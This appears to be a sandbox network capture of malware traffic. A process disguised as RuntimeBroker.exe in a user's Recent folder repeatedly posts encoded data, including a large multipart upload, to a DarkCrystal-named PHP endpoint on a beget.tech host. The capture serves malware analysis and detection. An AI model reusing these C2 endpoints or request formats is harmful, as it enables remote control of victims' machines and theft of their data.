Nov 9, 2024 22:23:07.296240091 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:07.649399042 CET	2544	OUT	Data Raw: 55 5a 5c 5d 56 5e 5e 55 5d 5d 54 54 54 51 5b 50 56 51 5f 5b 5b 50 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UZ\]V^^U]]TTTQ[PVQ_[[PZ\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!X'%C4^=Z"$0,/[4= _=8'0,[$0+;$1=)./'Y&%[(8
Nov 9, 2024 22:23:08.225003004 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:08.278626919 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49835	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:08.400207996 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:08.758800983 CET	2544	OUT	Data Raw: 55 55 59 5a 53 5c 5b 57 5d 5d 54 54 54 53 5b 52 56 5a 5f 5d 5b 5d 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UUYZS\[W]]TTTS[RVZ_][]ZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'2-D _#.70(!-7=;7'503<3Z+?1>"./'Y&%[(0
Nov 9, 2024 22:23:09.352560043 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:09.403831005 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49841	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:09.651882887 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:10.008831024 CET	2544	OUT	Data Raw: 55 55 59 5e 53 5d 5e 55 5d 5d 54 54 54 54 5b 52 56 5c 5f 5e 5b 55 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UUY^S]^U]]TTTT[RV\_^[UZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!Y'#^6"-80 _=;7[$6/0/[($&9-/'Y&%[(,
Nov 9, 2024 22:23:10.572354078 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:10.629148006 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49847	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:10.229866982 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 532 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:10.587694883 CET	532	OUT	Data Raw: 55 50 59 5e 53 5b 5b 51 5d 5d 54 54 54 55 5b 5b 56 59 5f 53 5b 50 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UPY^S[[Q]]TTTU[[VY_S[PZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"02#8"!4[$<4.#>(+Z0%00?3((4&...'Y&%[(
Nov 9, 2024 22:23:11.147061110 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:11.208376884 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:11.208797932 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:11.494071007 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:11.494316101 CET	2544	OUT	Data Raw: 50 52 59 5e 56 58 5e 55 5d 5d 54 54 54 57 5b 51 56 5e 5f 58 5b 52 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PRY^VX^U]]TTTW[QV^_X[RZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\%1)78!8]%< ?++'$\0??Z<; 2==9/'Y&%[(
Nov 9, 2024 22:23:11.841135979 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:11.843091011 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----7cZZqIb8JaoR1jDUyEuSdB9PwuzdMqlsfY User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 183126 Expect: 100-continue
Nov 9, 2024 22:23:12.128525972 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:12.128793001 CET	16068	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 63 5a 5a 71 49 62 38 4a 61 6f 52 31 6a 44 55 79 45 75 53 64 42 39 50 77 75 7a 64 4d 71 6c 73 66 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------7cZZqIb8JaoR1jDUyEuSdB9PwuzdMqlsfYContent-Disposition: form-data; name="0"Content-Type: text/plainUSYXS\^V]]TTTW[UV]_X[\ZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:23:12.133810043 CET	2472	OUT	Data Raw: 5a 30 45 33 56 57 34 32 61 57 35 61 54 32 46 52 4d 45 52 46 53 57 38 35 53 31 68 32 4b 30 35 49 5a 6a 68 68 51 55 56 34 64 30 74 51 63 6c 46 6c 59 55 30 76 56 45 5a 4a 57 57 78 47 54 44 42 77 54 54 42 42 52 6b 45 30 63 46 4a 34 55 31 6c 76 51 56 Data Ascii: Z0E3VW42aW5aT2FRMERFSW85S1h2K05IZjhhQUV4d0tQclFlYU0vVEZJWWxGTDBwTTBBRkE0cFJ4U1lvQVFVZERTNXBBTUNnWVVjNG9GRk1EcjlVUnBOTXVFVVpZcnhWZlU5YnRiM1g1cjY1ampObmE2eWwzR2tGcnMrM3dFNFlTS0ZBWjFBeUMvSkRNQ2VsYWhHUmcwenlveU1HTmNlbUs0TVhnVmlKUmszYTMvQS95UEp3V1l
Nov 9, 2024 22:23:12.133914948 CET	7416	OUT	Data Raw: 62 55 78 56 5a 47 46 31 4e 7a 5a 44 4f 54 42 31 4e 58 51 31 63 6d 68 75 61 45 5a 30 57 6b 64 44 57 6c 5a 51 4c 31 42 52 62 55 70 4f 65 44 6c 35 65 6b 64 72 4f 47 31 4d 52 31 42 4d 56 45 67 72 4e 6b 74 57 57 57 38 78 54 31 5a 53 55 57 5a 5a 56 6d Data Ascii: bUxVZGF1NzZDOTB1NXQ1cmhuaEZ0WkdDWlZQL1BRbUpOeDl5ekdrOG1MR1BMVEgrNktWWW8xT1ZSUWZZVmRITEZTcXFwelh0ZjhBSGNqRVp4S3RRZEhsc3Y4QWh2OEFJZ21tanRydU9hWnRzWWd1WXkyMG41bmdkRjZEdXpBVmtOZlAvd0FJb0pIa2tIaU1YVm03QW9Tc3kyKy9iTHV4amRobFU1NjdRZWNtdDlsVmhoZ0Q5UlN
Nov 9, 2024 22:23:12.133944988 CET	4944	OUT	Data Raw: 61 58 51 7a 52 45 74 44 4e 57 4a 4b 57 47 52 72 59 7a 68 42 5a 45 31 6b 59 54 55 72 57 48 63 35 59 6a 4a 32 5a 32 52 30 57 58 56 75 62 56 63 72 5a 53 74 4f 64 45 5a 46 52 30 64 36 51 55 68 4b 53 58 68 75 54 31 46 33 4e 69 74 73 5a 6c 42 53 64 31 Data Ascii: aXQzREtDNWJKWGRrYzhBZE1kYTUrWHc5YjJ2Z2R0WXVubVcrZStOdEZFR0d6QUhKSXhuT1F3NitsZlBSd1dFYjVWSjlPM1g1SDJUeE5kSzdTNi9oOHozUzl4cXZoNjQreHNzZ3U3UnZKYk9BMjVEdFA2aXNUeEpwaDhRV2UxdEZ2WTdwQis2bTNRY2V4L2VjaW42VHE4ZW4rRzlFaWVmVG95ZE9nYkZ6ZWVVMzNCMEcwOGNkZnJ
Nov 9, 2024 22:23:12.133991003 CET	2472	OUT	Data Raw: 53 58 68 58 53 58 42 52 61 46 5a 55 59 57 70 6c 65 6e 51 7a 64 48 41 72 51 58 52 47 54 32 6c 71 62 48 56 4d 59 56 63 31 5a 32 64 75 62 48 51 30 63 79 74 61 54 45 68 46 65 6b 6c 74 51 6d 73 31 53 55 64 43 65 44 59 77 4e 54 64 6c 4e 47 70 7a 62 48 Data Ascii: SXhXSXBRaFZUYWplenQzdHArQXRGT2lqbHVMYVc1Z2dubHQ0cytaTEhFekltQms1SUdCeDYwNTdlNGpzbHZaTFc1UzBjQXJPOERpTWc5Q0dJeHpYWDdXRjdYUnlLalVhdnl2N2lPaXBqWjNpd1J6bXh1L0psS2lPVDdPKzF5MzNjSEdEblBHT3RWMGNTQ01vcnNKSlBLUXFoTzUrUGxISEo1SEh2VDlyRHVnZEdvdnN2N2gxSlF
Nov 9, 2024 22:23:12.134015083 CET	4944	OUT	Data Raw: 57 58 42 42 53 6c 4e 56 64 6c 64 72 62 30 64 4b 4d 33 42 50 4d 55 39 77 51 30 74 44 61 45 52 54 56 54 51 77 61 45 5a 42 65 48 5a 52 4d 46 56 77 63 45 39 30 51 55 4e 6b 59 56 46 70 62 6c 6c 34 56 46 4e 4c 51 32 64 77 52 48 6c 4c 57 45 5a 4b 4f 55 Data Ascii: WXBBSlNVdldrb0dKM3BPMU9wQ0tDaERTVTQwaEZBeHZRMFVwcE90QUNkYVFpbll4VFNLQ2dwRHlLWEZKOUJpZ0FwS1hIT2FLQmphS1drNy93QmFCaUhrVUhrVXRGQXh1ZnhGSjBweDcwM0hGQXcvQ2pyL0FQWHBlY2V0SWVmYWdZaDVveG1sL1NreG4vQ2dCUHcvT2pyUlNtZ1kzSEhlazdVNCs5SWFZQ1VFZXRIU2crMUlZbit
Nov 9, 2024 22:23:12.134079933 CET	2472	OUT	Data Raw: 52 46 4e 4c 52 54 63 77 62 6c 56 56 64 6c 4e 72 4e 69 39 56 4d 45 52 52 61 45 68 47 53 56 4a 55 61 69 39 50 61 31 41 32 56 55 52 48 4b 7a 6c 48 59 56 68 47 53 6a 4d 31 62 30 4a 44 53 44 68 78 51 30 31 45 64 6c 49 79 4c 33 64 76 51 58 68 36 55 56 Data Ascii: RFNLRTcwblVVdlNrNi9VMERRaEhGSVJUai9Pa1A2VURHKzlHYVhGSjM1b0JDSDhxQ01EdlIyL3dvQXh6UVVoTzMwcE1jMDdIdlNkVHhRTVE4VVk0bzlhS0FFNjlxUTB2OHFPMk9nb0dKMHBLZFNVREcvclMveW9Jb3BnSjErbEozcGVhS0JpWS9ITkpqMXBmd3BPM2VnQU5KMjlxV2tvR0lhTVVZL0Nsb0dJZVRSMEhGR1BXa3h
Nov 9, 2024 22:23:12.134165049 CET	7416	OUT	Data Raw: 51 54 42 45 61 69 39 42 54 69 39 76 4c 33 64 45 4e 48 46 7a 53 32 31 4c 62 7a 42 77 59 33 4d 31 56 31 6f 78 56 57 4e 47 61 55 73 77 5a 57 56 75 51 6e 52 48 51 6c 4a 58 4c 7a 68 42 4f 45 6c 57 4e 47 6b 76 4e 6b 4a 34 4c 7a 63 76 51 55 56 6d 4c 30 Data Ascii: QTBEai9BTi9vL3dENHFzS21LbzBwY3M1V1oxVWNGaUswZWVuQnRHQlJXLzhBOElWNGkvNkJ4LzcvQUVmL0FNVlZEVXRFMUxTUEwrM1d4aTh3RXI4NnRuR00vZEp4MUg1MU1jZGg1T3ltaTVaZGk0cHlkTjJSblVVdEZkUnhpVVVVVUFGSlMwbUtZQlJSaWlnQktVVVVVRENpaWlrQWxGTFJRQWxGRkZBQ0dnMHRGQUNVVVVVQUp
Nov 9, 2024 22:23:12.981333971 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49848	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:10.411909103 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2196 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:10.758944988 CET	2196	OUT	Data Raw: 55 50 59 52 56 5a 5e 50 5d 5d 54 54 54 5c 5b 56 56 5d 5f 59 5b 51 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UPYRVZ^P]]TTT\[VV]_Y[QZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"31579["=?'//Z7X*#3%/',+(01..:'Y&%[(
Nov 9, 2024 22:23:11.328532934 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:11.392472982 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 20 01 3c 14 0c 09 34 00 3e 50 28 32 32 0e 3c 3d 35 5a 26 33 27 05 2b 12 3e 04 28 04 33 56 22 2e 31 06 26 3c 21 59 36 08 23 01 31 30 2b 5a 01 1c 25 08 3f 3d 0a 56 26 28 29 0d 33 19 2a 04 20 59 20 05 26 0a 2c 05 32 32 21 56 3e 23 24 1d 2c 57 26 02 3c 3e 3c 1e 31 32 2e 54 37 0f 2a 55 03 12 23 54 29 13 27 1d 25 3e 33 1e 3f 31 38 10 23 3e 33 11 35 5d 24 12 26 28 27 59 2c 33 30 59 27 23 02 04 2b 21 27 5d 37 3f 25 52 24 10 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: <4>P(22<=5Z&3'+>(3V".1&<!Y6#10+Z%?=V&()3* Y &,22!V>#$,W&<><12.T7*U#T)'%>3?18#>35]$&('Y,30Y'#+!']7?%R$#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49860	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:11.973900080 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:12.322865963 CET	2544	OUT	Data Raw: 55 55 59 5c 56 5e 5e 50 5d 5d 54 54 54 54 5b 5a 56 59 5f 52 5b 53 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UUY\V^^P]]TTTT[ZVY_R[SZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]'"-7(="=#0/X >*(7X3/$?,<87D&>.9'Y&%[(,
Nov 9, 2024 22:23:12.893548965 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:12.957217932 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49866	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:13.093223095 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:13.446239948 CET	2544	OUT	Data Raw: 55 5a 59 5d 53 5b 5b 50 5d 5d 54 54 54 53 5b 50 56 51 5f 53 5b 55 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UZY]S[[P]]TTTS[PVQ_S[UZ\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'"7;>!>$Z%,0#.7++'#',?[((1&].'Y&%[(0
Nov 9, 2024 22:23:14.008236885 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:14.057796955 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49872	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:14.210808992 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:14.555675030 CET	2544	OUT	Data Raw: 55 5a 59 5d 53 5a 5e 52 5d 5d 54 54 54 56 5b 57 56 59 5f 5a 5b 5d 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UZY]SZ^R]]TTTV[WVY_Z[]ZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'T5A78!>34 =(>+7&5/3<7(?A2-'Y&%[($
Nov 9, 2024 22:23:14.602406979 CET	1236	OUT	Data Raw: 00 3e 3c 31 3c 3d 39 27 08 03 32 04 39 0f 2b 23 09 36 1a 28 37 0e 04 26 23 05 33 3c 32 3a 03 36 08 24 25 19 23 33 28 0e 39 41 38 2e 3f 0a 18 29 11 0a 27 13 00 2d 08 02 37 58 12 40 31 08 0f 2d 23 0d 0f 12 34 33 06 30 36 2c 2c 0b 31 3c 24 24 03 20 Data Ascii: ><1<=9'29+#6(7&#3<2:6$%#3(9A8.?)'-7X@1-#4306,,1<$$ \/?>$#?(=<&,2\/$#Y9##,3]>)"%4(?/&\;+5><;;Q?<4>&&$:8. >=[9?X<$5(8;@03>%<)>=?97?9<+#53.[;8Y]55;!68+Q*".
Nov 9, 2024 22:23:15.129412889 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:15.194029093 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49878	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:15.636360884 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:15.993309021 CET	2544	OUT	Data Raw: 55 5b 5c 58 56 5c 5b 5d 5d 5d 54 54 54 51 5b 5a 56 5f 5f 59 5b 5d 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[\XV\[]]]TTTQ[ZV__Y[]Z\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]'1!"8#.7%/44>()($'<Y$$(8+2>-'Y&%[(8
Nov 9, 2024 22:23:16.565709114 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:16.630187035 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49884	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
